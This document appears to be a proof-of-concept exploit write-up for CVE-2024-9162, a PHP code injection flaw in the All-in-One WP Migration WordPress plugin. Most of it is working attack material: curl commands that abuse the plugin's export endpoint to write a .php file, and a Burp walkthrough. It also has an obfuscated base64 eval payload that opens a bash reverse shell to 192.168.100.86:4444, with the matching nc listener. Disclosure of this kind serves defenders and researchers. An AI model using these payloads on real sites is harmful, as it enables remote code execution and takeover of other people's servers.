d0n601/cve-2024-9162All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection
The All-in-One WP Migration plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site's server, adding an arbitrary PHP code to it, which may make remote code execution possible.
The ai1wm_secret_key is a 12 character alphanumeric string created when the plugin is initialized. The key is never rotated, does not expire, and is stored plain text in the wp_options table.
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
This will create a php file containing a call to phpinfo();, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter.
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo
PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
It should be noted that the php file created via these steps will first appear in wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php before being deleted by the script and moved to wp-content/ai1wm-backups/reverse_shell.php.
Log in, Click all in one WP migration export to access the "Export Site" page.
In the Find * Replace with <another-text> in the database.
Input * into the Find box.
Input your crafted php payload into into the Replae With box (phpinfo();, web shell, etc).
<?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>. This will decode to exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");.
Setup Burp or similar tool and begin to proxy the traffic, then click the green "Export To -> File" option.
Forward the first request: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1, without manipulation.
Forward: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.
Intercepting the request to POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
archive parameter to whatever name you like, and the .php extension, and then forward the request. POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
Host: wordpress.hacker
Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 883
Origin: https://wordpress.hacker
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php.nc -lnvp 4444.